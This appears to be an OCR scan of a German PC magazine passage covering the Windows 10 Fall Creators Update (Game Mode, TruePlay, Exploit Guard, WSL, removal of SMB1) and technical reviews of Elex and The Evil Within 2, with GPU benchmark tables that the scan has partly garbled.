Geräten hin und her schieben kön- 
nen, sondern soll eingehende Te- 
lefonnachrichten einfach bequem 
am Rechner beantworten können. 
Oder man kann verpasste Anrufe 
am Desktop sehen, sofern Cortana 
auf beiden Geräten synchronisiert 
wurde. Microsoft wird im Laufe 
des Jahres noch weitere Features 
nachreichen, die sich sicherlich 
noch auf andere Produkte wie 
Word ausweiten werden. 


State of Play: Cheater adé 
Auch den beim letzten Update 
eingeführten Game Mode hat Mi- 
crosoft weiter verbessert und um 
einige Eigenschaften erweitert. 
So wurde im „Spielen“-Reiter der 
Systemeinstellungen „IruePlay“ 
als Anti-Cheat-System іп Win- 
dows 10 implementiert. TruePlay 
wird Systeminformationen für 
Spiele bereitstellen, an denen an- 
scheinend erkannt werden kann, 
ob sich jemand einen unfairen 
Vorteil verschafft oder nicht. Ge- 
nauere Details über den Wirkme- 
chanismus selber lagen uns bis 
Redaktionsschluss nicht vor. Da- 
neben bekommen Streamer nun 
die Möglichkeit, nur den nativen 
Spielesound über den Äther zu 
übertragen. Im Taskmanager wird 
neben RAM, CPU, Datenträger und 
Netzwerk nun auch die Grafikkar- 
te überwacht und die Auslastung 
detailliert aufgeschlüsselt. Damit 
ist nun möglich, die Leistung bei- 
spielsweise für 3D-Anwendungen 
oder Video-De- und Encodierer zu 
überwachen. 


Hackerschutz mit an Bord 

Mehr Sicherheit gegen Exploits 
und Hacker gab es bisher durch 
das kostenlose Tool EMET (Enhan- 
ced Mitigation Experience Toolkit) 


von Microsoft, das über bestimmte 
Techniken das Ausnutzen von Si- 
cherheitslücken durch Schadcode 
erschwert. Umso  überraschen- 
der also, dass Mitte letzten Jahres 
Microsoft das Support-Ende für 
den 31. Juli 2018 ankündigte. Der 
Grund dahinter: Mittlerweile sind 
schon viele Features von EMET auf 
Betriebssystemebene eingebaut, 
die nun mit dem Ziel, Hacker-An- 
griffen sofort begegnen zu kón- 
nen und den Schaden zu vermei- 
den oder zu minimieren, mit dem 
HerbstUpdate in den Windows 
Defender als ,Exploit-Guard" er- 
weitert werden. 


Das Sicherheitszentrum Windows 
Defender wird außerdem noch auf 
aktuelle Trends von Schadsoftware 
angepasst. Im Fokus stehen Erpres- 
sungstrojaner, besser bekannt als 
Ransomware oder Kryptotrojaner, 
also Programme, die nur gegen ein 
Lósegeld (engl. ransom) im Vorfeld 
verschlüsselte Daten wieder freige- 
ben. Im Mai 2017 bekam dieser bis- 
her eher unbekannte Typ von Mal- 
ware seine 15 Minuten Ruhm, als 
die Schadsoftware „WannaCry“ in 
kürzester Zeit zigtausend Rechner 
namhafter Unternehmen infizierte 
und die Daten als Geisel nahm. Im 
Jahr 2016 machte Ransomware laut 
AV-Test bisher nur knapp ein Pro- 
zent der gesamten Malware unter 
Windows aus. 


Linux küsst Windows 
Microsoft hat mit dem neuen Up- 
date auch die kreativen Kópfe in 
der Softwareentwicklung bedacht, 
denn mit der Herbstaktualisierung 
wird in Zusammenarbeit mit dem 
britischen Linux-Distributor Cano- 
nical das Windows Subsystem für 
Linux (WSL) aus der Beta-Phase 
gehoben. Das WSL ist seit dem An- 
niversary Update vom August 2016 
in Windows 10 implementiert und 
stellt eine Kompatibilitätsschicht 
zum Ausführen von Linux-Executa- 
bles dar, mit der man unterschied- 
liche Linux-Distributionen wie 
Ubuntu, Fedora oder Suse unter 
Windows installieren und zum Lau- 
fen bringen kann. 


Microsoft positioniert das WSL 
konsequent als Tools für Entwick- 
ler, die auf den Unix-Werkzeugkas- 
ten zurückgreifen und beispiels- 
weise Bash (Bourne-again shell), 
make (Build-Managment) oder 
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emacs (Texteditor) verwenden. Mit 
dem Subsystem können aber nicht 
alle Linux-Programme ausgeführt 
werden, da es sich bei WSL um eine 
Kernelschnittstelle ohne Code des 
eigentlichen Linux-Kernels han- 
delt. Damit werden Programme 
mit einer grafischen Benutzerober- 
fläche oder bestimmten - nicht im- 
plementierten - Kernelfunktionen 
nicht gestartet. Microsoft schafft 
damit ein entwicklerfreundliche- 
res Ökosystem, denn jetzt können 
gute Unix-Tools auch unter Win- 
dows genutzt, ja sogar nachein- 
ander in einem Skript verwendet 
werden. 


Kann das weg? 

Microsoft hat Windows 10 nicht 
nur neue Features spendiert, son- 
dern hat auch welche entfernt. Bei- 
spielsweise wird das Resilient File 
System (ReFS) nach dem Update 
massiv eingeschränkt: Vorhandene 
ReFS-Laufwerke können zwar noch 
verwendet werden, Datenträger 
mit dem Dateisystem einzurichten, 
wird aber nicht mehr möglich sein. 
Wer weiterhin uneingeschränkt 
mit dem ReFS arbeiten möchte, 
muss auf die Enterprise oder die 
neue Pro-Version für Workstations 
wechseln. Außerdem werden be- 
stimmte Intel Atom-CPUs der Clo- 
ver-Trail-Reihe ab Oktober nicht 
mehr von Micorsoft unterstützt, da 
Intel bei diesen Prozessoren den 
Support eingestellt hat. Um die 
Sicherheit zu erhöhen, wird das 
Netzwerkprotokoll Server Message 
Block (SMB) in der Version 1.0 aus 
Windows entfernt. Aufgrund der 
über 30 Jahre alten Architektur 


ist das Protokoll in dieser Version 
sehr anfällig für kritische Sicher- 
heitslücken, die sich beispielsweise 
die Ransomware Wannacry im Mai 
2017 zunutze machte. 


Game Mode 

Der vor knapp einem halben Jahr 
eingeführte Game Mode hat schon 
damals marginal die Frametimes 
beziehungsweise Bildraten ver- 
bessert. Hat Microsoft im neuen 
Herbstupdate noch weiter an der 
Stellschraube gedreht, um besse- 
re Bildwiederholraten zu erzieh- 
len? Hierfür wurde der kürzlich 
erschienene Titel Forza 7 in der 
UWP-Version aus dem Windows 
Store unter Versionsnummer 1703 
(Creators Update) und 1709 (Fall 
Creators Update) von Windows 10 
getestet und verglichen. 


Mit der Asus Geforce GTX 1060/6G 
konnte in einer WQHD-Auflösung 
mit dem neuen Update ein Bildra- 
tenzugewinn von 11 Prozent ohne 
Game Mode (GM) erzielt werden. 
Vergleicht man beide Updates mit 
eingeschaltetem Spielemodus, 
waren es auch hier elf Prozent. 
Zwischen Maiupdate ohne GM 
und dem Herbstupdate mit Game 
Mode konnten sogar noch drei zu- 
sätzliche Prozentpunkte erreicht 
werden (14 Prozent). Zusätzliche 
Bildwiederholraten konnte der 
Modus in Full-HD erreichen, mit ei- 
ner zehnprozentigen Verbesserung 
zum ausgeschaltetem Spielemodus 
in der vorherigen Windowsversion 
und ganzen 23 Prozentpunkten, 
wenn in beiden Verisonen der 
Game Mode an ist. 


(B Startseite 


LL | 


TruePlay 


Fair Play steht beim Spielen an erster Stelle. Mithilfe von TruePlay 
werden Systeminformationen für Spiele bereitgestellt, um 


sicherzustellen, dass alles ordnungsgemäß abläuft. 


Spielen 


Wenn Sie diese Option deaktivieren, sind die verfügbaren Spiele u. 


Je Spieleleiste 


[à Game DVR TruePlay 
= “ 

& Übertragung 

© Spielmodus 


U. eingeschränkt. 


Datenschutzbestimmungen 


Neben der Zusatzüberwachungsfunktion im Taskmanager für die GPU und der alleini- 
gen Übertragung des Gamesounds gibt es noch einen Cheaterschutz. 


Beim gesamten Test mit der AMD 
Karte Sapphire RX 580/8G und der 
UHD-Auflösung bei der Geforce 
GTX 1060 6G verlor man durch die 
Bank Frameraten. Zehn Prozent in 
UHD bei der Asus-Karte und bis zu 
sieben in Full-HD mit der Sapphire. 


Gut zu wissen 

Kommunikation wird im Herbst 
einfacher, denn nun können bis 
zu drei Kontakte an die Taskleiste 
gepinnt werden. Für Nachrichten 
muss man kein Extraprogramm 
mehr starten und kann sogar ganz 
einfach per Drag and Drop E- 
mails mit Anhängen verschicken. 
Wer gerne seine Textnachrichten 
mit Emojis füllt, kann nun dank 
des Emoji-Panels das gewünschte 
Smiley schneller finden. Virtuelle 
Maschinen lassen sich in Zukunft 
leichter durch das Erstellen einer 
VMCX-Datei teilen. 


Die Kommandozeile bekommt ei- 
nen neuen Anstrich, nach über 20 
Jahren und damit zum ersten Mal 


in der Geschichte von Windows (!). 
Das bisher verwendete Farbsche- 
ma kann auf modernen und kont- 
rastreichen LCD-Bildschirmen auf 
Kosten der Lesbarkeit nicht so gut 
dargestellt werden. 


Mehr Barrierefreiheit wird durch 
Einbettung Eye-Tracking- 
Software erreicht. So können zum 


von 


Beispiel Menschen die an amyoth- 
roper Lateralsklerose leiden, mit ih- 
ren Augenbewegungen den Rech- 


(ab) 


Fazit Hardware 


Der Herbst kann kommen 

Auch Software-Entwickler profitieren 
von dem neuen Update, und können 
dank des Linux-Subsystems auf ihre 
Lieblings-Unix-Tools zugreifen. Mit der 
Einführung der Mixed Reality ebnet 
Microsoft VR zudem den Weg, endlich 
ein alltäglicher Bestandteil zu werden. 
Auch schön zu sehen: Endlich wurde 
der Datenschutz verbessert. 


ner steuern. 


Game Mode: Verbesserungen bei AMD? 


Game Mode: Verbesserungen bei Nvidia? 


FHD Creators Update GM Off 
FHD Fall Creators Update GM ОЙ 


WQHD Creators Update GM Off 
Creators Update GM ОН 


UHD Creators Update GM Off 
Creators Update GM Off 


Sapphire Radeon RX 580 Nitro- Limited Edition (8 GiByte) 

P E 911 (Basis) 
isj j7 (-3 %) 
FHD Creators Update GM On a =ssYñ 85,3 (-6 %) 
Creators Update GM Оп Eg 85,0 (-7 %) 


FE 75,9 (Basis) 
Gw 75 1 (-1 %) 
WQHD Creators Update GM On [Ee 75,9 (0 96) 
Creators Update GM On 8 76,6 (+1 96) 


ENSIS 1, (Basis) 
kwl 60,3 (2 %) 
UHD Creators Update GM On [En s 60,3 (-2 %) 


FHD Fa 


FHD Fa 


WQHD Creators Update GM О 
WQHD Fa 


WQHD Fa 


UHD Fa 


Asus Geforce GTX 1060 Strix OC (6 GiByte) 


FHD Creators Update GM Off aG Eu 93,4 (Basis) 
Creators Update GM Off Esa pm 90,3 (-3 %) 

FHD Creators Update GM On ВЗ ps 83,4 (-11 96) 

Creators Update GM On === 102,5 (+10 %) 


FE 79,4 (Basis) 
Creators Update GM Off 66% 88,0 (+11 %) 
WQHD Creators Update GM On [EM m 81,1 (+2 %) 
Creators Update GM On Xs pu 90,3 (+14 96) 


UHD Creators Update GM Off sax pu 67,1 (Basis) 
Creators Update GM Off [3g ШЕШШ 66,8 (-1 96) 
UHD Creators Update GM On [3s pos 60,7 (-10 96) 


UHD Fall Creators Update GM On aa s 60,2 (2 96) UHD Fall Creators Update GM On EX Es 65,6 (-2 %) 
System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-1866 PÆ F 8 System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Него, 4 x 4 GiB AMD DDR3-1866 PIEI F| 
(2T); Windows 10 x64 (1703 & 1709), Geforce 387.92, Radeon Software 17.10.1 Bemer- ps £ (2T); Windows 10 x64 (1703 & 1709), Geforce 387.92, Radeon Software 17.10.1 Bemer- ps 
kungen: Das 99. Perzentil gibt den Mittelwert der schlechtesten 1 Prozent Frameraten an. > Besser & | kungen: Das 99. Perzentil gibt den Mittelwert der schlechtesten 1 Prozent Frameraten an. > Besser 
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Rollenspiel-Elexier 


Der deutsche Rollenspiel-Spezialist Piranha Bytes ist zurück und erfreut Spieler mit Elex, einem für 


den Entwickler typischen Titel. Technisch macht Elex gegenüber Risen 3 einen tüchtigen Sprung. 


ehr als drei Jahre sind seit 

Risen 3 ins Land gezogen. 
Das Essener Studio Piranha Bytes 
hat die Zeit nicht ungenutzt ver- 
streichen lassen und nicht nur ein 
neues Rollenspiel kreiert, sondern 
auch die Engine überarbeitet. Elex 
mischt Science-Fiction, Post-Apoca- 
lypse sowie Fantasy zu einer eigen- 
ständigen Mixtur und nutzt für die 
Darstellung die für Flex deutlich 
ausgebaute Genome-Engine. 


Dieser in seiner Urform bereits im 
ersten Gothic genutzte Grafikmo- 
tor erhält auf der einen Seite den 
klassischen Piranha-Bytes-Charme 
und und hievt Elex gleichzeitig 
auf ein aktuelles technisches Le- 
vel. Dies mag ob der teilweise et- 
was grobschlächtigen optischen 
Darbietungen in vergangenen Go- 
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thic- und Risen-Teilen ein wenig 
zwiespältig klingen, doch genau 
das ist der Punkt: Im Gesamten 
schneidet Elex im Vergleich zu op- 
tisch aufwendig produzierten und 
finanziell massiv geförderten Titeln 
schlechter ab, muss sich auf der 
anderen Seite aber technisch nicht 
verstecken. Elex spielt sich wie ein 
Gothic oder Risen mit neuem Sze- 
nario und weckt auch optisch Erin- 
nerungen an lieb gewordene Klas- 
siker, kann aber gleichzeitig mit 
Effekten und einer Vielzahl neuer 
Rendertechniken glänzen. 


Neue Technik für die 
Postapokalypse 

Zum ersten Mal setzt Piranha Bytes 
mit Elex auf Direct X 11. Dazu wur- 
de die Renderpipeline zu weiten 
Teilen neu geschrieben oder stark 


erweitert. Nun kommt ein De- 
ferred Renderer samt physikbasier- 
tem Beleuchtungs- und Textur-Mo- 
dell zum Einsatz, die Engine wurde 
für eine bessere Auslastung moder- 
ner Mehrkernsysteme parallelisiert 
und die Spielelogik vom Render- 
thread getrennt, um die Skalierung 
darüber hinaus zu verbessern - mit 
einigem Erfolg, denn Elex profitiert 
recht deutlich von vier Kernen und 
kann selbst darüber hinaus noch 
etwas zulegen. Das Streaming er- 
hielt außerdem eine umfassende 
Überarbeitung, Ladebildschirme 
sind nun im Großen und Ganzen 
Vergangenheit, wir können die 
weitläufigen und recht abwechs- 
lungsreichen Umgebungen ohne 
Unterbrechungen erkunden - so- 
gar die Schnellreise kommt ohne 
Ladebildschirm aus. 


Des Weiteren wurde die Beleuch- 
tung stark überarbeitet, neben den 
Materialien verhält sich auch der 
Lichteinfall physikalisch korrekt. 
Die auffällige und hochqualitative 
volumetrische Beleuchtung greift 
dazu sämtliche Lichtquellen der 
Umgebung auf, schicke Farbverläu- 
fe unterschiedlicher Lichtemitter 
beeindrucken besonders nachts 
das Spielerauge. Dazu wurde eine 
Globale Beleuchtung ergänzt. 
Diese wurde von Piranha Bytes 
entwickelt und arbeitet mit einer 
Mischung aus zuvor berechneten 
Diffuse Lighting (direkt auftreffen- 
des und je nach Oberfläche und 
Winkel streuendes Licht) sowie 
einer volumenbasierten Darstel- 
lung via Light-Probes. Die beiden 
Beleuchtungstechniken werden 
dann interpoliert, die berechneten 
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Der physikbasierte Renderer kommt insbesondere bei metallenen Oberflächen gut zur 
Geltung und wird durch eine volumetrische sowie globale Beleuchtung ergänzt. 


der technischen Verbesserungen behält Elex das für Piranha Bytes typische Flair. 


Daten erlauben schlussendlich, für 
jeden Punkt im dreidimensionalen 
Raum die Werte der indirekten 
Beleuchtung aufzugreifen und auf 
Objekte und Modelle anzuwenden. 
Die Technik verhindert außerdem 
ein ,Durchscheinen* der GI bei 
dünnen Wänden und filigranen 
Objekten, ein Nebeneffekt, der sich 
recht häufig in Spielen beobachten 
lässt. Für die Umgebungsverde- 
ckung kommt in Elex auf hoher Stu- 
fe eine sogenannte Line-Sweep-Am- 
bient-Occlusion zum Einsatz. Diese 
Technik erlaubt durch ihre Art der 
Abtastung eine maximale Sichtwei- 
te sowie feine Verschattung, ohne 
dabei die Leistungsanforderungen 
explodieren zu lassen. 


Neben der schicken Beleuchtung 
und Verschattung ist außerdem die 
hübsche Wasserdarstellung eine 
Bemerkung wert: Bäche, Flüsse 
und Seen erhalten durch den kom- 
binierten Einsatz von Parallax-Maps 
und Tessellation sehr plastische, 
dreidimensionale Oberflächen, fei- 
ne Shader ergänzen Schaumkronen 
und eine gewisse realistisch anmu- 
tende Trübe - sehr schick und die 
Entwickler wissen wohl um diesen 
Umstand, denn Gewässer finden 
sich selbst in eher trockenen Um- 
gebungen recht häufig. 


Dank einer auf maximaler Stufe 
erfreulich hohen Weitsicht, der 
deutlich aufgebohrten Vegetations- 
darstellung und zu weiten Teilen 
hochauflösenden Texturierung 
samt Parallax-Mapping macht Elex 
mit diesen Neuerungen einen tech- 
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nisch durchaus ansprechenden 
Eindruck. Dies gilt erfreulicherwei- 
se auch für die Performance und 
die Stabilität. 


Grafisch anspruchsvoll, 
gute Gesamtleistung 
Während unserer rund 15 Stunden 
mit Elex an verschiedenen PCs kön- 
nen wir dem Piranha-Bytes-Spiel 
eine saubere Technik abseits der 
Grafik attestieren. Nicht ein Ab- 
sturz oder Plotstopper - gemeint 
sind Bugs, welche das Vorankom- 
mem im Spiel verhindern - ist uns 
begegnet, was noch zu Gothic- 
Zeiten undenkbar war. Auch sonst 
wirkt Elex poliert und frei von den 
typischen Kinderkrankheiten, un- 
ter denen aufwendige Spiele oft 
leiden. 


Besonders gut gefallen hat uns das 
Streaming der Engine. Obwohl die 
Datenflut gegenüber den Vorgän- 
gerspielen stark zugenommen hat, 
läuft Elex fast immer geschmeidig 
über den Bildschirm. Elex trennt 
dazu statische Levelgeometrie so- 
wie dynamische Objekte, Figuren 
und Details und lädt diese geson- 
dert. Streaming wird verwendet, 
da kein modernes Spiel mehr kom- 
plett in den Speicher passt, daher 
werden nur die unmittelbar benó- 
tigten Daten in den (Grafik-)RAM 
geladen. Dieses Vorgehen ist in,vie- 
len Spielen deutlich sichtbar - je 
langsamer der Rechner und über 
je weniger Speicher dieser verfügt, 
desto eher sieht man Aussetzer 
wie Pop-up oder Texturen in das 
Bild „morphen“. Elex verzichtet 
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auf derartigen Texturbrei; selbst 
bei 2-GiByte-Grafikkarten werden 
Oberflächen stets mit höchster Auf- 
lösung dargestellt. Selbstverständ- 
lich gibt es diese Schönheit nicht 
umsonst - Elex läuft auf Grafikkar- 
ten mit nur 2 GiByte wesentlich 
ruckliger als auf Modellen mit 3 
oder 4 GiByte. Optimal - selbst für 
die Ultra-HD-Auflösung - eignen 
sich Beschleuniger mit mindestens 
6 GiByte. Dabei ist zu beachten, 
dass Elex mit steigender Auflösung 
überproportional anspruchsvoll 
wird. Das liegt eventuell an einigen 
Shadern, die mit steigender Auflö- 
sung unbeabsichtigt mit höherer 
Qualität berechnet werden. Das 


Depth-of-Field ist beispielsweise 
in dieser Hinsicht sehr auffällig: 
Während die Tiefenschärfe in Full 
HD offenbar noch wie gedacht an- 
gewandt wird, wird diese in höhe- 
ren Auflösungen nicht nur feiner, 
sondern auch aggressiver. Dieser 
Umstand verändert die Optik etwa 
in Ultra HD gegenüber jener in 
Full HD recht deutlich, was wahr- 
scheinlich nicht beabsichtigt ist. 
Dieser Umstand könnte die hohen 
Anforderungen in Ultra HD mit be- 
einflussen und ist offenbar ein klei- 
ner Bug beziehungsweise Program- 
miererfehler, sollte sich jedoch mit 
einem Patch ohne größere Proble- 
me beseitigen lassen. 


Gute CPU-Nutzung 

Waren die ersten Gothic-Ableger 
noch echte Prozessorkiller, ist da- 
von in Elex trotz der wesentlich 
größeren Spielwelt nichts zu se- 
hen. Das liegt zum einen an dem 
ordentlichen Multi-Threading. Elex 
weiß mit mehr als vier Threads um- 
zugehen und zieht Vorteile aus mo- 
dernen Vielkern-Prozessoren, auch 
wenn die Leistungszuwächse ab 
4C/4T nur noch zart ausfallen und 
die Frameraten bereits in einem 
solch hohen Bereich liegen, dass 
Sie selbst in Full HD mit einiger Ge- 
wissheit bereits von der Leistungs- 
fáhigkeit Ihrer Grafikkarte einge- 
bremst werden. (pr/rv) 


Fazit Нагйшаге 


Deutlicher technischer Sprung 
Gegenüber Risen 3, dem letzten Titel 
von Piranha Bytes, hat Elex technisch 
deutlich zugelegt. Dabei kann das 
Rollenspiel selbstredend nicht mit gi- 
gantischen Produktionen wie einem 
Battlefront oder Assassin's Creed mit- 
halten, doch ist es beachtlich, welch 
qualitative Steigerungen das kleine 
Entwickler-Team vollbracht hat. Dies 
ist nicht nur anhand des technischen 
Fortschritts zu erkennen, sondern auch 
beim sehr ansprechenden Zustand un- 
serer Testversion. Keine Abstürze, prak- 
tisch keine Bugs und eine sehr stabile 
Performance — bravo, Piranha Bytes! 


Elex: 20 Grafikkarten im Leistungstest 


1.920 х 1.080, max. Details, SMAA/16:1 HQ-AF - , Outlaw" 


MSI GTX 1080 Ti Gaming X Trio/11G N 123,7 (+113 96) 
Gigabyte GTX 1080 G1 Gaming/8G gs 98,4 (+69 96) 


AMD RX Vega 64 Liquid-Cooled/8G Egg 94,9 (+63 90) 
Asus GTX 1070 Strix ОС/8С Ems 83,1 (+43 96) 
Palit GTX 980 Ti Super Jetstream/6G Eel 81,0 (+39 96) 
AMD Radeon RX Vega 56/8G |n 77,6 (+34 %) 
AMD Radeon R9 Fury X/4G Essi 63,7 (+10 96) 
Asus GTX 980 Strix/4G Xs 62,9 (+8 90) 
Powercolor RX 580 Red Devil GS/8G ISSIIII=€GUHGII_IINOJRHI n 59,5 (+2 96) 
Zotac GTX 1060 AMP/6G 558 58,1 (Basis) 
MSI GTX 970 Gaming/3,5--0,5G. [Egit 52,6 (-9 96) 
Gainward GTX 780 Ti Phantom/3G Em 52,1 (10 96) 
Asus R9 390 DC30C/8G. grt 51,5 (-11 96) 
Sapphire RX 570 Nitro+ OC/8G ert 49,4 (-15 96) 
Sapphire R9 290 Tri-X OC/AG. |a 45,2 (-22 96) 
Palit GTX 780 Jetstream/3G Xam 40,2 (-31 96) 
HIS R9 280X IceQ X? Turbo/3G. sap 37,7 (-35 96) 
Gigabyte GTX 770 Windforce OC/2G 3611 28,8 (-50 96) 
AMD Radeon HD 7870/26 [59381] 25,0 (-57 96) 
Nvidia Geforce GTX 660/26 9161] 17,8 (-69 96) 


2.560 х 1.440, max. Details, SMAA/16:1 HQ-AF - ,, Outlaw" 


MSI GTX 1080 Ti Gaming X Trio/11G gs! 86,9 (+137 %) 
Gigabyte GTX 1080 G1 Gaming/8G Een 64,8 (+77 96) 
AMD RX Vega 64 Liquid-Cooled/8G [etit 64,8 (+77 96) 
Asus GTX 1070 Strix ОС/8С Xs 53,3 (+46 %) 
Palit GTX 980 Ti Super Jetstream/6G Xo 52,6 (+44 96) 
AMD Radeon RX Vega 56/8G [agit 52,3 (+43 96) 
AMD Radeon R9 Fury X/4G Ey 45,2 (+23 96) 
Asus GTX 980 Strixi4G [E3811 40,5 (+11 96) 
Powercolor RX 580 Red Devil GS/8G 36H 39,5 (+8 96) 
Zotac GTX 1060 AMP/6G [E341 36,6 (Basis) 
Asus R9 390 DC30C/8G. [33r 35,4 (-3 %) 
MSI GTX 970 Gaming/3,5+0,5G Xa 33,2 (-9 96) 
Sapphire RX 570 Nitro+ OC/8G 3i 32,7 (-11 90) 
Gainward GTX 780 Ti Phantom/3G ШШШ? 32,0 (-13 96) 
Sapphire R9 290 Tri-X OC/AG. MEZI 31,2 (-15 96) 
HIS R9 280X IceQ X? Turbo/3G. БШШШ 25,8 (-30 96) 
Palit GTX 780 Jetstream/3G [2211 24,6 (-33 96) 
Gigabyte GTX 770 Windforce OC/2G ВЕ | 18,3 (-50 96) 
AMD Radeon HD 7870/26 MI 15,3 (-58 96) 
Nvidia Geforce GTX 660/2G 88 10,9 (-70 96) 


3.440 х 1.440, max. Details, SMAA/16:1 HQ-AF - , Outlaw" 


MSI GTX 1080 Ti Gaming X Trio/11G Ee 68,1 (+143 96) 


AMD RX Vega 64 Liquid-Cooled/8G XXX! ! 50,5 (+80 96) 
Gigabyte GTX 1080 G1 Gaming/8BG XXe! 48,8 (+74 96) 
Asus GTX 1070 Strix ОС/8С [3911 41,1 (+47 96) 
Palit GTX 980 Ti Super Jetstream/6G MEMES] 40,9 (+46 96) 
AMD Radeon RX Vega 56/8G [38r 40,6 (+45 96) 
AMD Radeon R9 Fury X/4G E34 35,9 (+28 96) 
Asus GTX 980 Strix/4G [39r 31,5 (4-13 96) 
Powercolor RX 580 Red Devil GS/8G 3811 30,6 (+9 96) 
Zotac GTX 1060 AMP/6G В| 28,0 (Basis) 
Asus R9 390 DC30C/8G. [38i] 27,8 (-1 9) 
Sapphire R9 290 Tri-X OC/4G [24] 25,8 (-8 96) 
Sapphire RX 570 Nitro+ OC/8G [23:1 25,2 (-10 96) 
MSI GTX 970 Gaming/3,5+0,5G [99281] 24,4 (-13 96) 
Gainward GTX 780 Ti Phantom/3G Ш 91 20,6 (-26 96) 
HIS R9 280X IceQ X? Turbo/3G [961] 17,7 (-37 96) 
Palit GTX 780 Jetstream/3G Ж ЇЇ 15,8 (-44 96) 
Gigabyte GTX 770 Windforce OC/2G IM 7,4 (-74 96) 
AMD Radeon НО 7870/26 161] 7,2 (-74 96) 
Nvidia Geforce GTX 660/26 EI 5,0 (-82 96) 


3.840 x 2.160, max. Details, SMAA/16:1 HQ-AF - , Outlaw" 


MSI GTX 1080 Ti Gaming X Trio/11G [3:1 44,6 (+144 96) 
AMD RX Vega 64 Liquid-Cooled/8G [5321] 33,9 (+85 96) 
Gigabyte GTX 1080 G1 Gaming/8G [30/1 31,9 (+74 96) 
AMD Radeon RX Vega 56/8G ШЕ 27,4 (4-50 96) 
Asus GTX 1070 Strix OC/8G [381] 26,9 (+47 96) 
Palit GTX 980 Ti Super Jetstream/6G [5351] 26,8 (+46 96) 
AMD Radeon R9 Fury X/4G E323 24,0 (+31 96) 
Powercolor RX 580 Red Devil GS/8G 9191] 20,2 (4-10 96) 
Asus GTX 980 Strix/4G MEBI] 19,6 (+7 96) 
Asus R9 390 DC30C/8G. Ш] 19,1 (+4 96) 
Zotac GTX 1060 AMP/6G В| 18,3 (Basis) 
Sapphire RX 570 Nitro+ OC/8G. Ж ШШ 17,8 (-3 96) 
Sapphire R9 290 Tri-X OC/4G Ш 16,9 (-8 96) 
MSI GTX 970 Gaming/3,5+0,5G Ш 15,9 (-13 96) 
HIS R9 280X IceQ X? Turbo/3G #81 8,5 (-54 96) 
Gainward GTX 780 Ti Phantom/3G 8987,9 (-57 96) 
Palit GTX 780 Jetstream/3G E 7,6 (-58 96) 
AMD Radeon HD 7870/26 915,5 (-70 96) 
Gigabyte GTX 770 Windforce OC/2G W 4,5 (-75 96) 
Nvidia Geforce GTX 660/2G 3 3,9 (-79 96) 


System: Core i7-6900K @ 4,0 GHz, MSI X99A Gaming Pro Carbon, 4 x 8 GiB Corsair DDR4-3000; Windows 10 x64 (1703), Geforce 387.92 WHQL, Radeon Software 17.10.1 Beta, HQ-AF 


Bemerkungen: Basis ist die verbreitetste spieletaugliche Grafikkarte laut Steam Hardware Survey September 2017. 
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SPIELE & SOFTWARE | The Evil Within 2 


Horror-Nachschlag 


Der zweite Teil des Survival-Horrors ist nicht nur für Genrefans spannend. Technisch ist The Evil 


Within 2 deutlich fortschrittlicher als der Erstling, etwas Feinschliff ist allerdings noch angebracht. 


eben Resident Evil 7 und dem 
N ersten The Evil Within gibt es 
kaum noch Vertreter des klassichen 
Dabei war das 
Genre um die Jahrtausendwende 
sehr stark vertreten, doch drifteten 
die Entwickler von Spiel zu Spiel 
immer weiter Richtung Action ab. 
Das macht eine brachiale Inszenie- 


Survival-Horrors. 


rung natürlich einfacher, doch geht 
dabei viel von der eher subtileren 
Horroratmosphäre verloren. 


The Evil Within stemmt sich gegen 
diesen Trend. Der Erstling wurde 
unter der Leitung des Resident- 
Evil-Schöpfers Shinji Mikami entwi- 
ckelt, dessen Handschrift sich un- 
ter anderem beim eher langsamen, 
aber umso schaurigeren Gameplay, 
dem im positiven Sinne verdrehten 
Szenario sowie dem abgefahrenen 
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Gegnerdesign erkennen lässt. Auch 
The Evil Within 2 beschreitet den 
Weg des klassischen japanischen 
Survival-Horrors, obwohl nun John 
Johanas die Postion des Game Di- 
rectors übernahm. Shinji Mikami 
war indes als Leiter des Studios 
Tango Gameworks sowie in bera- 
tender Funktion bei der Entwick- 
lung beteiligt. 


Das erste The Evil Within setzte auf 
die id Tech 5, allerdings wurde der 
Grafikmotor damals recht umfang- 
reich angepasst. Die zuvor in Rage 
und Wolfenstein: The New Order 
eingesetzte und primär für Shooter 
ausgelegte Engine benötigte sicher- 
lich allein für das deutlich divergie- 
rende Gameplay eine ganze Reihe 
Anpassungen, doch gab es auch 
einige technische Umstellungen. 


Dazu zählte auch die Abkehr von 
der normalerweise von der id Tech 
genutzten Open-GL-Schnittstelle, 
für The Evil Within wurde die En- 
gine auf Direct X 11 portiert. Einige 
Ärgerlichkeiten wie das „cineas- 
tische“ Letterbox-Bildformat mit 
breiten schwarzen Rändern sowie 
das zu Beginn aktive 30-Fps-Lock 
wurden kurz nach dem Launch aus- 
geräumt, trotzdem behielt das erste 
The Evil Within bis heute einige sei- 
ner technische Macken, darunter 
eine teils verbesserungswürdige 
Performance. 


Offenere Welten, mehr Dy- 
namik, bessere Grafik 

Der zweite Teil der Horrorreihe 
setzt weiterhin auf id-Technologie, 
doch wurde die Engine kräftig 
aufgebort. Der Grafikmotor nennt 


sich nun STEM, basiert aber offen- 
bar weiterhin auf der im Vorgän- 
ger eingesetzten id Tech 5. Doch 
wurde die deutlich modernisiert 
und erweitert. Die genutzte API ist 
wie im Vorgänger Direct X 11, viele 
der Rendertechniken sind jedoch 
offensichtlich neu oder zumindest 
weitgehend überarbeitet worden, 
um die gestiegene Grafikpracht, 
die höhere Dynamik von Beleuch- 
tung und Umgebung sowie die 
wesentlich weiträumigeren Areale 
umzusetzen. 


Zu den deutlichsten Verbesserun- 
gen zählt neben den weitläufigeren 
Umgebungen die Beleuchtung so- 
wie das darauf reagierende physik- 
basierte Rendermodell. Insbeson- 
dere in den Innenräumen kommt 
das neue, dem Vorgänger deutlich 
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The Evil Within 2 | SPIELE & SOFTWARE 


überlegene Lighting-Modell gut 
zur Geltung: Die Ausleuchtung ist 
nun deutlich feiner, dazu entfallen 
viele der Licht- und Schattenwürfe, 
die im Vorgänger oder generell in 
der id Tech 5 noch vorberechnet 
waren und zu weiten Teilen in die 
Megatextures „gebacken“ wurden. 
Eine Globale Beleuchtung sorgt für 
hübsche und weiche Lichtübergän- 
ge samt Farbübertragung. Schicke 
und sehr hochauflösende sowie 
fein gefilterte Screenspace-Reflec- 
tions ergänzen weitere, glaubhafte 
Lichteinflüsse, selbiges gilt für die 
saubere Umgebungsverdeckung 
und die hochauflösenden Schatten. 


